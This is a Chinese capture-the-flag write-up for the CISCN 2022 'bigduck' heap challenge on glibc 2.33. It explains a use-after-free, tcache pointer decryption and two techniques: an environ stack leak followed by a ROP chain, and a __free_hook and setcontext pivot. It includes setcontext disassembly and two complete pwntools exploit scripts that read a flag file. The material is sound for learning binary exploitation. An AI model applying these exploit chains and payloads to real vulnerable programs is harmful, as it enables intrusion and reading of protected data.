堆利用environ泄露栈地址或setcontext控制执行流([CISCN 2022 华东北]bigduck题解)
寒假集中刷堆题时看到这道题还挺典型的, 写wp以备忘
这道题在IDA中部分重命名后的部分结果为
main函数
1void __fastcall __noreturn main(const char *a1, char **a2, char **a3)2{3 int v3; // [rsp+Ch] [rbp-4h]4
5 sandbox();6 while ( 1 )7 {8 while ( 1 )9 {10 menu(a1, a2);11 v3 = get_num();12 if ( v3 != 4 )13 break;14 edit();15 }27 collapsed lines
16 if ( v3 > 4 )17 {18LABEL_13:19 a1 = "Invalid choice";20 puts("Invalid choice");21 }22 else if ( v3 == 3 )23 {24 show();25 }26 else27 {28 if ( v3 > 3 )29 goto LABEL_13;30 if ( v3 == 1 )31 {32 add();33 }34 else35 {36 if ( v3 != 2 )37 goto LABEL_13;38 dele();39 }40 }41 }42}
我们可以看到, 添加堆块时大小是固定为0x100的, free时没有清空list, 存在UAF
在wsl中, 查看所给的libc版本为2.33-0ubuntu5, 在glibc-all-in-one中下载此版本的glibc, 同时用patchelf更换pwn文件的运行库
glibc2.26后均已采用tcache机制, glibc2.31后tcache bin中的fd均被异或加密
同时这道题还存在沙箱机制, 禁用了execve函数, 需要ORW
我们从tcache机制可以知道, 同一个大小的tcache bin可以记录7个释放的堆块, 后续释放的同大小的堆块按大小分配会进入fast bin或者unsorted bin中, 在这道题中, 我们若先申请8个堆块, 则释放第八个堆块时可以进入unsorted bin, show此堆块可以泄露libc基地址, 同时show第一个释放的堆块时, 由于异化加密的机制, 我们可以泄露加密后的指针, 进而计算出heap基地址, 同时我们可以挟持tcache的管理堆块, 来实现任意地址读写的作用
- 通过tcache bin泄露heap基地址
- 通过unsorted bin泄露libc基地址
- 挟持tcache管理堆块
- 利用environ泄露栈地址后ROP / 利用setcontext控制执行流
思路一: 利用environ泄露栈地址后ROP
在linux C中, environ是一个全局变量, 储存着系统的环境信息, 它存储在libc中, 是沟通libc地址与栈地址的桥梁, 因此在泄露的libc基地址后, 我们可以通过泄露environ来拿到栈地址
通过栈地址, 我们可以计算出栈上函数的返回地址, 通过已达到的任意地址写, 在返回地址的区域构建ROP链以实现ORW
exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
78 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))18
19def cmd(i, prompt=b"Choice:"):20 sla(prompt, i)21def add():22 cmd(b"1")23 # ......24def edit(idx,size,con):25 cmd(b"4")26 ru(b"Idx")27 sl(str(idx).encode())28 ru(b"Size")29 sl(str(size).encode())30 ru(b"Content")31 sl(con)32 # ......33def show(idx):34 cmd(b"3")35 ru(b"Idx")36 sl(str(idx).encode())37 # ......38def dele(idx):39 cmd(b"2")40 ru(b"Idx")41 sl(str(idx).encode())42 # ......43
44one = [0xde78c,0xde78f,0xde792]45
46for i in range(9):47 add()48for i in range(6,-1,-1):49 dele(i)50dele(7)51edit(7,1,b"\x11")52show(7)53libc_base = x64(b"\x7f")-0x1e0c1154system = libc_base+libc.sym["system"]55open_addr = libc_base+libc.sym["open"]56read_addr = libc_base+libc.sym["read"]57write_addr = libc_base+libc.sym["write"]58rdi = libc_base+0x028a5559rsi = libc_base+0x02a4cf60rdx = libc_base+0x0c7f3261ret = libc_base+0x02669962environ = libc_base+libc.sym["environ"]63leak("libc",libc_base)64edit(7,1,b"\x00")65
66show(6)67heap_base = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))<<1268leak("heap",heap_base)69edit_addr = heap_base+0x2a070edit(0,8,p64((edit_addr>>12) ^ (heap_base+0x10)))71add()72add()73edit(10,256,p64(0)*3+p64(0x0005000000000000)+p64(0)*0x1b+p64(environ))74add()75show(11)76stack = x64(b"\x7f")77leak("stack",stack)78
79ret_addr = stack-0x12080edit(10,256,p64(0)*3+p64(0x0004000000000000)+p64(0)*0x1b+p64(ret_addr-0x18))81# pause()82add()83pause()84addr = heap_base85payload = p64(rdi)+p64(0)+p64(rsi)+p64(addr)+p64(rdx)+p64(6)+p64(read_addr)86payload += p64(rdi)+p64(addr)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(open_addr)87payload += p64(rdi)+p64(3)+p64(rsi)+p64(addr+8)+p64(rdx)+p64(100)+p64(read_addr)88payload += p64(rdi)+p64(1)+p64(rsi)+p64(addr+8)+p64(rdx)+p64(100)+p64(write_addr)89edit(12,0x100,b"A"*0x18+payload)90ru(b"Done")91sl(b"/flag\x00")92
93ia()
思路二: 利用setcontext控制执行流
原理讲解
setcontext 是 glibc 中设置寄存器上下文的一个函数, 有些题只能改一个 hook, 并不能随意控制执行流, 这时就可以用 setcontext 修改寄存器如 rip, rsp 等, 控制执行流.
不同版本的glibc的context实现不一样, 大致可以分成2.27及以下和2.28及以上
glibc 2.27的 setcontext 代码, 通过gdb反汇编如下:
1Dump of assembler code for function setcontext:2 0x00007ffff7a34050 <+0>: push rdi3 0x00007ffff7a34051 <+1>: lea rsi,[rdi+0x128]4 0x00007ffff7a34058 <+8>: xor edx,edx5 0x00007ffff7a3405a <+10>: mov edi,0x26 0x00007ffff7a3405f <+15>: mov r10d,0x87 0x00007ffff7a34065 <+21>: mov eax,0xe8 0x00007ffff7a3406a <+26>: syscall9 0x00007ffff7a3406c <+28>: pop rdi10 0x00007ffff7a3406d <+29>: cmp rax,0xfffffffffffff00111 0x00007ffff7a34073 <+35>: jae 0x7ffff7a340d0 <setcontext+128>12 0x00007ffff7a34075 <+37>: mov rcx,QWORD PTR [rdi+0xe0]13 0x00007ffff7a3407c <+44>: fldenv [rcx]14 0x00007ffff7a3407e <+46>: ldmxcsr DWORD PTR [rdi+0x1c0]15 0x00007ffff7a34085 <+53>: mov rsp,QWORD PTR [rdi+0xa0]22 collapsed lines
16 0x00007ffff7a3408c <+60>: mov rbx,QWORD PTR [rdi+0x80]17 0x00007ffff7a34093 <+67>: mov rbp,QWORD PTR [rdi+0x78]18 0x00007ffff7a34097 <+71>: mov r12,QWORD PTR [rdi+0x48]19 0x00007ffff7a3409b <+75>: mov r13,QWORD PTR [rdi+0x50]20 0x00007ffff7a3409f <+79>: mov r14,QWORD PTR [rdi+0x58]21 0x00007ffff7a340a3 <+83>: mov r15,QWORD PTR [rdi+0x60]22 0x00007ffff7a340a7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]23 0x00007ffff7a340ae <+94>: push rcx24 0x00007ffff7a340af <+95>: mov rsi,QWORD PTR [rdi+0x70]25 0x00007ffff7a340b3 <+99>: mov rdx,QWORD PTR [rdi+0x88]26 0x00007ffff7a340ba <+106>: mov rcx,QWORD PTR [rdi+0x98]27 0x00007ffff7a340c1 <+113>: mov r8,QWORD PTR [rdi+0x28]28 0x00007ffff7a340c5 <+117>: mov r9,QWORD PTR [rdi+0x30]29 0x00007ffff7a340c9 <+121>: mov rdi,QWORD PTR [rdi+0x68]30 0x00007ffff7a340cd <+125>: xor eax,eax31 0x00007ffff7a340cf <+127>: ret32 0x00007ffff7a340d0 <+128>: mov rcx,QWORD PTR [rip+0x398d91] # 0x7ffff7dcce6833 0x00007ffff7a340d7 <+135>: neg eax34 0x00007ffff7a340d9 <+137>: mov DWORD PTR fs:[rcx],eax35 0x00007ffff7a340dc <+140>: or rax,0xffffffffffffffff36 0x00007ffff7a340e0 <+144>: ret37End of assembler dump.
glibc 2.28的 setcontext 代码, 通过gdb反汇编如下:
1Dump of assembler code for function setcontext:2 0x00007ffff7e340a0 <+0>: push rdi3 0x00007ffff7e340a1 <+1>: lea rsi,[rdi+0x128]4 0x00007ffff7e340a8 <+8>: xor edx,edx5 0x00007ffff7e340aa <+10>: mov edi,0x26 0x00007ffff7e340af <+15>: mov r10d,0x87 0x00007ffff7e340b5 <+21>: mov eax,0xe8 0x00007ffff7e340ba <+26>: syscall9 0x00007ffff7e340bc <+28>: pop rdx10 0x00007ffff7e340bd <+29>: cmp rax,0xfffffffffffff00111 0x00007ffff7e340c3 <+35>: jae 0x7ffff7e34120 <setcontext+128>12 0x00007ffff7e340c5 <+37>: mov rcx,QWORD PTR [rdx+0xe0]13 0x00007ffff7e340cc <+44>: fldenv [rcx]14 0x00007ffff7e340ce <+46>: ldmxcsr DWORD PTR [rdx+0x1c0]15 0x00007ffff7e340d5 <+53>: mov rsp,QWORD PTR [rdx+0xa0]22 collapsed lines
16 0x00007ffff7e340dc <+60>: mov rbx,QWORD PTR [rdx+0x80]17 0x00007ffff7e340e3 <+67>: mov rbp,QWORD PTR [rdx+0x78]18 0x00007ffff7e340e7 <+71>: mov r12,QWORD PTR [rdx+0x48]19 0x00007ffff7e340eb <+75>: mov r13,QWORD PTR [rdx+0x50]20 0x00007ffff7e340ef <+79>: mov r14,QWORD PTR [rdx+0x58]21 0x00007ffff7e340f3 <+83>: mov r15,QWORD PTR [rdx+0x60]22 0x00007ffff7e340f7 <+87>: mov rcx,QWORD PTR [rdx+0xa8]23 0x00007ffff7e340fe <+94>: push rcx24 0x00007ffff7e340ff <+95>: mov rsi,QWORD PTR [rdx+0x70]25 0x00007ffff7e34103 <+99>: mov rdi,QWORD PTR [rdx+0x68]26 0x00007ffff7e34107 <+103>: mov rcx,QWORD PTR [rdx+0x98]27 0x00007ffff7e3410e <+110>: mov r8,QWORD PTR [rdx+0x28]28 0x00007ffff7e34112 <+114>: mov r9,QWORD PTR [rdx+0x30]29 0x00007ffff7e34116 <+118>: mov rdx,QWORD PTR [rdx+0x88]30 0x00007ffff7e3411d <+125>: xor eax,eax31 0x00007ffff7e3411f <+127>: ret32 0x00007ffff7e34120 <+128>: mov rcx,QWORD PTR [rip+0x190d49] # 0x7ffff7fc4e7033 0x00007ffff7e34127 <+135>: neg eax34 0x00007ffff7e34129 <+137>: mov DWORD PTR fs:[rcx],eax35 0x00007ffff7e3412c <+140>: or rax,0xffffffffffffffff36 0x00007ffff7e34130 <+144>: ret37End of assembler dump.
我们可以看到, glibc 2.27从setcontext+53的位置开始就以rdi为参照给每个寄存器赋值, 但是glibc 2.28从setcontext+53的位置开始以rdx为参照给每个寄存器赋值, 由于一般来说我们控制rdi较为轻松, 因此在glibc 2.28及以上的版本利用setcontext控制程序执行流时需要想办法通过rdi控制rdx
这道题目的glibc版本为glibc 2.33, 来看一下这道题目的setcontext:
1Dump of assembler code for function setcontext:2 0x00007ffff7e27970 <+0>: endbr643 0x00007ffff7e27974 <+4>: push rdi4 0x00007ffff7e27975 <+5>: lea rsi,[rdi+0x128]5 0x00007ffff7e2797c <+12>: xor edx,edx6 0x00007ffff7e2797e <+14>: mov edi,0x27 0x00007ffff7e27983 <+19>: mov r10d,0x88 0x00007ffff7e27989 <+25>: mov eax,0xe9 0x00007ffff7e2798e <+30>: syscall10 0x00007ffff7e27990 <+32>: pop rdx11 0x00007ffff7e27991 <+33>: cmp rax,0xfffffffffffff00112 0x00007ffff7e27997 <+39>: jae 0x7ffff7e27abf <setcontext+335>13 0x00007ffff7e2799d <+45>: mov rcx,QWORD PTR [rdx+0xe0]14 0x00007ffff7e279a4 <+52>: fldenv [rcx]15 0x00007ffff7e279a6 <+54>: ldmxcsr DWORD PTR [rdx+0x1c0]67 collapsed lines
16 0x00007ffff7e279ad <+61>: mov rsp,QWORD PTR [rdx+0xa0]17 0x00007ffff7e279b4 <+68>: mov rbx,QWORD PTR [rdx+0x80]18 0x00007ffff7e279bb <+75>: mov rbp,QWORD PTR [rdx+0x78]19 0x00007ffff7e279bf <+79>: mov r12,QWORD PTR [rdx+0x48]20 0x00007ffff7e279c3 <+83>: mov r13,QWORD PTR [rdx+0x50]21 0x00007ffff7e279c7 <+87>: mov r14,QWORD PTR [rdx+0x58]22 0x00007ffff7e279cb <+91>: mov r15,QWORD PTR [rdx+0x60]23 0x00007ffff7e279cf <+95>: test DWORD PTR fs:0x48,0x224 0x00007ffff7e279db <+107>: je 0x7ffff7e27a96 <setcontext+294>25 0x00007ffff7e279e1 <+113>: mov rsi,QWORD PTR [rdx+0x3a8]26 0x00007ffff7e279e8 <+120>: mov rdi,rsi27 0x00007ffff7e279eb <+123>: mov rcx,QWORD PTR [rdx+0x3b0]28 0x00007ffff7e279f2 <+130>: cmp rcx,QWORD PTR fs:0x7829 0x00007ffff7e279fb <+139>: je 0x7ffff7e27a35 <setcontext+197>30 0x00007ffff7e279fd <+141>: mov rax,QWORD PTR [rsi-0x8]31 0x00007ffff7e27a01 <+145>: and rax,0xfffffffffffffff832 0x00007ffff7e27a05 <+149>: cmp rax,rsi33 0x00007ffff7e27a08 <+152>: je 0x7ffff7e27a10 <setcontext+160>34 0x00007ffff7e27a0a <+154>: sub rsi,0x835 0x00007ffff7e27a0e <+158>: jmp 0x7ffff7e279fd <setcontext+141>36 0x00007ffff7e27a10 <+160>: mov rax,0x137 0x00007ffff7e27a17 <+167>: incsspq rax38 0x00007ffff7e27a1c <+172>: rstorssp QWORD PTR [rsi-0x8]39 0x00007ffff7e27a21 <+177>: saveprevssp40 0x00007ffff7e27a25 <+181>: mov rax,QWORD PTR [rdx+0x3b0]41 0x00007ffff7e27a2c <+188>: mov QWORD PTR fs:0x78,rax42 0x00007ffff7e27a35 <+197>: rdsspq rcx43 0x00007ffff7e27a3a <+202>: sub rcx,rdi44 0x00007ffff7e27a3d <+205>: je 0x7ffff7e27a5c <setcontext+236>45 0x00007ffff7e27a3f <+207>: neg rcx46 0x00007ffff7e27a42 <+210>: shr rcx,0x347 0x00007ffff7e27a46 <+214>: mov esi,0xff48 0x00007ffff7e27a4b <+219>: cmp rcx,rsi49 0x00007ffff7e27a4e <+222>: cmovb rsi,rcx50 0x00007ffff7e27a52 <+226>: incsspq rsi51 0x00007ffff7e27a57 <+231>: sub rcx,rsi52 0x00007ffff7e27a5a <+234>: ja 0x7ffff7e27a4b <setcontext+219>53 0x00007ffff7e27a5c <+236>: mov rsi,QWORD PTR [rdx+0x70]54 0x00007ffff7e27a60 <+240>: mov rdi,QWORD PTR [rdx+0x68]55 0x00007ffff7e27a64 <+244>: mov rcx,QWORD PTR [rdx+0x98]56 0x00007ffff7e27a6b <+251>: mov r8,QWORD PTR [rdx+0x28]57 0x00007ffff7e27a6f <+255>: mov r9,QWORD PTR [rdx+0x30]58 0x00007ffff7e27a73 <+259>: mov r10,QWORD PTR [rdx+0xa8]59 0x00007ffff7e27a7a <+266>: mov rdx,QWORD PTR [rdx+0x88]60 0x00007ffff7e27a81 <+273>: rdsspq rax61 0x00007ffff7e27a86 <+278>: cmp r10,QWORD PTR [rax]62 0x00007ffff7e27a89 <+281>: mov eax,0x063 0x00007ffff7e27a8e <+286>: jne 0x7ffff7e27a93 <setcontext+291>64 0x00007ffff7e27a90 <+288>: push r1065 0x00007ffff7e27a92 <+290>: ret66 0x00007ffff7e27a93 <+291>: jmp r1067 0x00007ffff7e27a96 <+294>: mov rcx,QWORD PTR [rdx+0xa8]68 0x00007ffff7e27a9d <+301>: push rcx69 0x00007ffff7e27a9e <+302>: mov rsi,QWORD PTR [rdx+0x70]70 0x00007ffff7e27aa2 <+306>: mov rdi,QWORD PTR [rdx+0x68]71 0x00007ffff7e27aa6 <+310>: mov rcx,QWORD PTR [rdx+0x98]72 0x00007ffff7e27aad <+317>: mov r8,QWORD PTR [rdx+0x28]73 0x00007ffff7e27ab1 <+321>: mov r9,QWORD PTR [rdx+0x30]74 0x00007ffff7e27ab5 <+325>: mov rdx,QWORD PTR [rdx+0x88]75 0x00007ffff7e27abc <+332>: xor eax,eax76 0x00007ffff7e27abe <+334>: ret77 0x00007ffff7e27abf <+335>: mov rcx,QWORD PTR [rip+0x18d382] # 0x7ffff7fb4e4878 0x00007ffff7e27ac6 <+342>: neg eax79 0x00007ffff7e27ac8 <+344>: mov DWORD PTR fs:[rcx],eax80 0x00007ffff7e27acb <+347>: or rax,0xffffffffffffffff81 0x00007ffff7e27acf <+351>: ret82End of assembler dump.
如果我们可以返回到setcontext+61的位置, 且成功控制rdx及周边区域, 我们就可以控制各个寄存器的值, 同时我们可以发现, setcontext+107的跳转语句均成立, 因此程序真正的执行流如下, 其中mov rcx,QWORD PTR [rdx+0xa8] ; push rcx
是设置rcx并将其值压入栈中, 最后由ret
将这个值作为返回地址, 实际作用就是设置rip
10x00007ffff7e279ad <+61>: mov rsp,QWORD PTR [rdx+0xa0]2 0x00007ffff7e279b4 <+68>: mov rbx,QWORD PTR [rdx+0x80]3 0x00007ffff7e279bb <+75>: mov rbp,QWORD PTR [rdx+0x78]4 0x00007ffff7e279bf <+79>: mov r12,QWORD PTR [rdx+0x48]5 0x00007ffff7e279c3 <+83>: mov r13,QWORD PTR [rdx+0x50]6 0x00007ffff7e279c7 <+87>: mov r14,QWORD PTR [rdx+0x58]7 0x00007ffff7e279cb <+91>: mov r15,QWORD PTR [rdx+0x60]8 0x00007ffff7e279cf <+95>: test DWORD PTR fs:0x48,0x29 0x00007ffff7e279db <+107>: je 0x7ffff7e27a96 <setcontext+294>10 (跳转到setcontext+294)11 0x00007ffff7e27a96 <+294>: mov rcx,QWORD PTR [rdx+0xa8]12 0x00007ffff7e27a9d <+301>: push rcx13 0x00007ffff7e27a9e <+302>: mov rsi,QWORD PTR [rdx+0x70]14 0x00007ffff7e27aa2 <+306>: mov rdi,QWORD PTR [rdx+0x68]15 0x00007ffff7e27aa6 <+310>: mov rcx,QWORD PTR [rdx+0x98]5 collapsed lines
16 0x00007ffff7e27aad <+317>: mov r8,QWORD PTR [rdx+0x28]17 0x00007ffff7e27ab1 <+321>: mov r9,QWORD PTR [rdx+0x30]18 0x00007ffff7e27ab5 <+325>: mov rdx,QWORD PTR [rdx+0x88]19 0x00007ffff7e27abc <+332>: xor eax,eax20 0x00007ffff7e27abe <+334>: ret
在这道题中, 由于malloc的大小是恒定的, 其rdi不能由我们控制, 因此我们考虑利用free函数, 因为free函数的rdi是目标堆块的user data地址, 只要我们布置好堆块就能够利用
同时通过这个gadget我们可以通过rdi控制rdx, 并通过设置好的rdx调用setcontext+61
接下来会按照上一步输入的数据逐个设置寄存器的参数, 控制程序执行流, exp如下:
1#!/usr/bin/python32# -*- encoding: utf-8 -*-3
4from pwncli import *5from LibcSearcher import *6from ctypes import *7
8# use script mode9cli_script()10
11# get use for obj from gift12io: tube = gift['io']13elf: ELF = gift['elf']14libc: ELF = gift['libc']15
77 collapsed lines
16leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))17x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))18
19def cmd(i, prompt=b"Choice:"):20 sla(prompt, i)21def add():22 cmd(b"1")23 # ......24def edit(idx,size,con):25 cmd(b"4")26 ru(b"Idx")27 sl(str(idx).encode())28 ru(b"Size")29 sl(str(size).encode())30 ru(b"Content")31 sl(con)32 # ......33def show(idx):34 cmd(b"3")35 ru(b"Idx")36 sl(str(idx).encode())37 # ......38def dele(idx):39 cmd(b"2")40 ru(b"Idx")41 sl(str(idx).encode())42 # ......43
44one = [0xde78c,0xde78f,0xde792]45
46for i in range(9):47 add()48for i in range(6,-1,-1):49 dele(i)50dele(7)51edit(7,1,b"\x11")52show(7)53libc_base = x64(b"\x7f")-0x1e0c1154open_addr = libc_base+libc.sym["open"]55read_addr = libc_base+libc.sym["read"]56write_addr = libc_base+libc.sym["write"]57rdi = libc_base+0x028a5558rsi = libc_base+0x02a4cf59rdx = libc_base+0x0c7f3260ret = libc_base+0x02669961free_hook = libc_base + libc.sym["__free_hook"]62setcontext = libc_base + libc.sym["setcontext"]+6163# 0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]64rdx_con = libc_base + 0x14a0a065leak("libc",libc_base)66edit(7,1,b"\x00")67
68show(6)69heap_base = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))<<1270leak("heap",heap_base)71edit_addr = heap_base+0x2a072edit(0,8,p64((edit_addr>>12) ^ (heap_base+0x10)))73add()74add()75edit(10,256,p64(0)*3+p64(0x0005000000000000)+p64(0)*0x1b+p64(free_hook))76add()77edit(11,0x100,p64(rdx_con))78
79edit(0,6,b"/flag\x00")80flag_addr = heap_base + 0x2a081
82orw = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(open_addr)83orw += p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x2a8)+p64(rdx)+p64(100)+p64(read_addr)84orw += p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x2a8)+p64(rdx)+p64(100)+p64(write_addr)85edit(2,0x100,orw)86
87payload = b"A"*8+p64(heap_base+0x3b8)+b"A"*0x18+p64(setcontext)+b"A"*0x78+p64(heap_base+0x4c0)+p64(ret)88edit(1,0x100,payload)89pause()90dele(1)91
92ia()